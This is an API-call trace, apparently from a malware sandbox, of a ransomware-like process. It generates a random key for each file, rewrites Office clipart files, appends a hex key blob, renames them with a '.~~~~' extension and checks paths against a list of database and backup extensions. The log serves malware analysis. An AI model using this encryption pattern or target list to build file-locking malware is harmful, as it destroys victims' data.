	[0120.423] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0120.423] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0120.423] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f78e8
	[0120.423] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0120.423] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b50b8
	[0120.424] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f78e8 | out: hHeap=0x300000) returned 1
	[0120.424] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0120.424] GetLastError () returned 0x0
	[0120.424] GetLastError () returned 0x0
	[0120.424] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0120.424] GetLastError () returned 0x0
	[0120.424] GetLastError () returned 0x0
	[0120.425] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffffe7e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.425] WriteFile (in: hFile=0x130, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x182, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0x182, lpOverlapped=0x0) returned 1
	[0120.429] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0120.429] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0120.429] WriteFile (in: hFile=0x130, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0120.429] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0120.429] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0120.430] CloseHandle (hObject=0x130) returned 1
	[0120.430] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f78e8
	[0120.430] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01241_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01241_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01241_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01241_.gif.~~~~")) returned 1
	[0120.431] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f78e8 | out: hHeap=0x300000) returned 1
	[0120.431] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0120.431] GetLastError () returned 0x0
	[0120.432] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x2942ca8) returned 1
	[0120.433] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0120.433] CryptReleaseContext (hProv=0x2942ca8, dwFlags=0x0) returned 1
	[0120.433] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0120.433] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0120.433] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0120.433] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24042296782) returned 1
	[0120.433] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb140fb90, dwHighDateTime=0x1d60e1e)) 
	[0120.433] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0120.433] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0120.433] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0120.433] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e9d10
	[0120.433] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0120.433] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e9d10 | out: hHeap=0x300000) returned 1
	[0120.433] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0120.433] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0120.433] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f78e8
	[0120.433] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0120.433] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b5150
	[0120.434] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f78e8 | out: hHeap=0x300000) returned 1
	[0120.434] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0120.434] GetLastError () returned 0x0
	[0120.434] GetLastError () returned 0x0
	[0120.434] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0120.434] GetLastError () returned 0x0
	[0120.434] GetLastError () returned 0x0
	[0120.439] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffffea8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.439] WriteFile (in: hFile=0x130, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x158, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0x158, lpOverlapped=0x0) returned 1
	[0120.440] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0120.440] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0120.440] WriteFile (in: hFile=0x130, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0120.441] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0120.441] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0120.441] CloseHandle (hObject=0x130) returned 1
	[0120.530] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f78e8
	[0120.530] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01242_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01242_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01242_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01242_.gif.~~~~")) returned 1
	[0120.568] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f78e8 | out: hHeap=0x300000) returned 1
	[0120.568] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0120.568] GetLastError () returned 0x0
	[0120.582] lstrlenW (lpString=".sqb") returned 4
	[0120.582] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01330_.GIF", lpSrch=".sqb") returned 0x0
	[0120.582] lstrlenW (lpString=".ost") returned 4
	[0120.582] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01330_.GIF", lpSrch=".ost") returned 0x0
	[0120.582] lstrlenW (lpString=".txt") returned 4
	[0120.582] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01330_.GIF", lpSrch=".txt") returned 0x0
	[0120.582] lstrlenW (lpString=".mdt") returned 4
	[0120.582] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01330_.GIF", lpSrch=".mdt") returned 0x0
	[0120.582] lstrlenW (lpString=".BDB") returned 4
	[0120.582] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01330_.GIF", lpSrch=".BDB") returned 0x0
	[0120.582] lstrlenW (lpString=".eql") returned 4
	[0120.583] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01330_.GIF", lpSrch=".eql") returned 0x0
	[0120.583] lstrlenW (lpString=".DBF") returned 4
	[0120.583] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01330_.GIF", lpSrch=".DBF") returned 0x0
	[0120.583] lstrlenW (lpString=".EQL") returned 4
	[0120.583] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01330_.GIF", lpSrch=".EQL") returned 0x0
	[0120.583] lstrlenW (lpString=".FDB") returned 4
	[0120.583] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01330_.GIF", lpSrch=".FDB") returned 0x0
	[0120.583] lstrlenW (lpString=".EDB") returned 4
	[0120.583] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01330_.GIF", lpSrch=".EDB") returned 0x0
	[0120.583] lstrlenW (lpString=".DACPAC") returned 7
	[0120.583] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01330_.GIF", lpSrch=".DACPAC") returned 0x0
	[0120.583] lstrlenW (lpString=".VHD") returned 4
	[0120.583] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01330_.GIF", lpSrch=".VHD") returned 0x0
	[0120.583] lstrlenW (lpString=".DBV") returned 4
	[0120.583] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01330_.GIF", lpSrch=".DBV") returned 0x0
	[0120.583] lstrlenW (lpString=".dacpac") returned 7
	[0120.583] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01330_.GIF", lpSrch=".dacpac") returned 0x0
	[0120.583] lstrlenW (lpString=".sdf") returned 4
	[0120.583] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01330_.GIF", lpSrch=".sdf") returned 0x0
	[0120.583] lstrlenW (lpString=".accdb") returned 6
	[0120.583] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01330_.GIF", lpSrch=".accdb") returned 0x0
	[0120.583] lstrlenW (lpString=".DBX") returned 4
	[0120.583] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01330_.GIF", lpSrch=".DBX") returned 0x0
	[0120.584] lstrlenW (lpString=".MDT") returned 4
	[0120.584] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01330_.GIF", lpSrch=".MDT") returned 0x0
	[0120.584] lstrlenW (lpString=".SQB") returned 4
	[0120.584] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01330_.GIF", lpSrch=".SQB") returned 0x0
	[0120.584] lstrlenW (lpString=".vhd") returned 4
	[0120.584] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01330_.GIF", lpSrch=".vhd") returned 0x0
	[0120.584] lstrlenW (lpString=".bac") returned 4
	[0120.584] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01330_.GIF", lpSrch=".bac") returned 0x0
	[0120.584] lstrlenW (lpString=".mdf") returned 4
	[0120.584] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01330_.GIF", lpSrch=".mdf") returned 0x0
	[0120.584] lstrlenW (lpString=".BAK") returned 4
	[0120.584] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01330_.GIF", lpSrch=".BAK") returned 0x0
	[0120.584] lstrlenW (lpString=".BAC") returned 4
	[0120.584] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01330_.GIF", lpSrch=".BAC") returned 0x0
	[0120.584] lstrlenW (lpString=".dbs") returned 4
	[0120.584] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01330_.GIF", lpSrch=".dbs") returned 0x0
	[0120.584] lstrlenW (lpString=".vhdx") returned 5
	[0120.584] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01330_.GIF", lpSrch=".vhdx") returned 0x0
	[0120.584] lstrlenW (lpString=".NDF") returned 4
	[0120.584] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01330_.GIF", lpSrch=".NDF") returned 0x0
	[0120.584] lstrlenW (lpString=".dat") returned 4
	[0120.584] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01330_.GIF", lpSrch=".dat") returned 0x0
	[0120.584] lstrlenW (lpString=".DBS") returned 4
	[0120.584] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01330_.GIF", lpSrch=".DBS") returned 0x0
	[0120.584] lstrlenW (lpString=".CKP") returned 4
	[0120.584] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01330_.GIF", lpSrch=".CKP") returned 0x0
	[0120.584] lstrlenW (lpString=".edb") returned 4
	[0120.584] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01330_.GIF", lpSrch=".edb") returned 0x0
	[0120.584] lstrlenW (lpString=".PST") returned 4
	[0120.584] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01330_.GIF", lpSrch=".PST") returned 0x0
	[0120.585] lstrlenW (lpString=".dbf") returned 4
	[0120.585] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01330_.GIF", lpSrch=".dbf") returned 0x0
	[0120.585] lstrlenW (lpString=".SQL") returned 4
	[0120.585] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01330_.GIF", lpSrch=".SQL") returned 0x0
	[0120.585] lstrlenW (lpString=".pst") returned 4
	[0120.585] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01330_.GIF", lpSrch=".pst") returned 0x0
	[0120.585] lstrlenW (lpString=".dbv") returned 4
	[0120.585] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01330_.GIF", lpSrch=".dbv") returned 0x0
	[0120.585] lstrlenW (lpString=".SDF") returned 4
	[0120.585] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01330_.GIF", lpSrch=".SDF") returned 0x0
	[0120.585] lstrlenW (lpString=".dtxs") returned 5
	[0120.585] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01330_.GIF", lpSrch=".dtxs") returned 0x0
	[0120.585] lstrlenW (lpString=".db3") returned 4
	[0120.585] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01330_.GIF", lpSrch=".db3") returned 0x0
	[0120.585] lstrlenW (lpString=".OST") returned 4
	[0120.585] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01330_.GIF", lpSrch=".OST") returned 0x0
	[0120.585] lstrlenW (lpString=".dbx") returned 4
	[0120.585] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01330_.GIF", lpSrch=".dbx") returned 0x0
	[0120.585] lstrlenW (lpString=".DB3") returned 4
	[0120.585] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01330_.GIF", lpSrch=".DB3") returned 0x0
	[0120.585] lstrlenW (lpString=".DAT") returned 4
	[0120.585] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01330_.GIF", lpSrch=".DAT") returned 0x0
	[0120.585] lstrlenW (lpString=".VHDX") returned 5
	[0120.585] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01330_.GIF", lpSrch=".VHDX") returned 0x0
	[0120.585] lstrlenW (lpString=".ndf") returned 4
	[0120.585] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01330_.GIF", lpSrch=".ndf") returned 0x0
	[0120.585] lstrlenW (lpString=".DB") returned 3
	[0120.585] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01330_.GIF", lpSrch=".DB") returned 0x0
	[0120.585] lstrlenW (lpString=".sql") returned 4
	[0120.585] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01330_.GIF", lpSrch=".sql") returned 0x0
	[0120.585] lstrlenW (lpString=".MYD") returned 4
	[0120.586] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01330_.GIF", lpSrch=".MYD") returned 0x0
	[0120.586] lstrlenW (lpString=".DBT") returned 4
	[0120.586] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01330_.GIF", lpSrch=".DBT") returned 0x0
	[0120.586] lstrlenW (lpString=".ACCDB") returned 6
	[0120.586] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01330_.GIF", lpSrch=".ACCDB") returned 0x0
	[0120.586] lstrlenW (lpString=".fdb") returned 4
	[0120.586] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01330_.GIF", lpSrch=".fdb") returned 0x0
	[0120.586] lstrlenW (lpString=".bak") returned 4
	[0120.586] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01330_.GIF", lpSrch=".bak") returned 0x0
	[0120.586] lstrlenW (lpString=".myd") returned 4
	[0120.586] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01330_.GIF", lpSrch=".myd") returned 0x0
	[0120.586] lstrlenW (lpString=".DTXS") returned 5
	[0120.586] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01330_.GIF", lpSrch=".DTXS") returned 0x0
	[0120.586] lstrlenW (lpString=".ckp") returned 4
	[0120.586] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01330_.GIF", lpSrch=".ckp") returned 0x0
	[0120.586] lstrlenW (lpString=".dbt") returned 4
	[0120.586] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01330_.GIF", lpSrch=".dbt") returned 0x0
	[0120.586] lstrlenW (lpString=".db") returned 3
	[0120.586] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01330_.GIF", lpSrch=".db") returned 0x0
	[0120.586] lstrlenW (lpString=".TXT") returned 4
	[0120.586] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01330_.GIF", lpSrch=".TXT") returned 0x0
	[0120.586] lstrlenW (lpString=".MDF") returned 4
	[0120.586] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01330_.GIF", lpSrch=".MDF") returned 0x0
	[0120.586] lstrlenW (lpString=".bdb") returned 4
	[0120.586] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01330_.GIF", lpSrch=".bdb") returned 0x0
	[0120.586] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0120.586] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01330_.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0120.586] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0120.587] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x363058
	[0120.587] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0120.588] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0120.588] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0120.588] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0120.588] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0120.588] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0120.588] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24057807798) returned 1
	[0120.588] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb158c950, dwHighDateTime=0x1d60e1e)) 
	[0120.588] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0120.588] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0120.588] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0120.588] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a9cc8
	[0120.588] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0120.588] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9cc8 | out: hHeap=0x300000) returned 1
	[0120.588] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0120.588] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0120.588] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f8758
	[0120.588] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0120.589] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b51e8
	[0120.589] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f8758 | out: hHeap=0x300000) returned 1
	[0120.589] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0120.589] GetLastError () returned 0x0
	[0120.589] GetLastError () returned 0x0
	[0120.589] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0120.589] GetLastError () returned 0x0
	[0120.589] GetLastError () returned 0x0
	[0120.591] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffffe8e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.591] WriteFile (in: hFile=0x130, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x26dfec0*=0x172, lpOverlapped=0x0) returned 1
	[0120.593] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0120.593] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0120.593] WriteFile (in: hFile=0x130, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0120.594] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
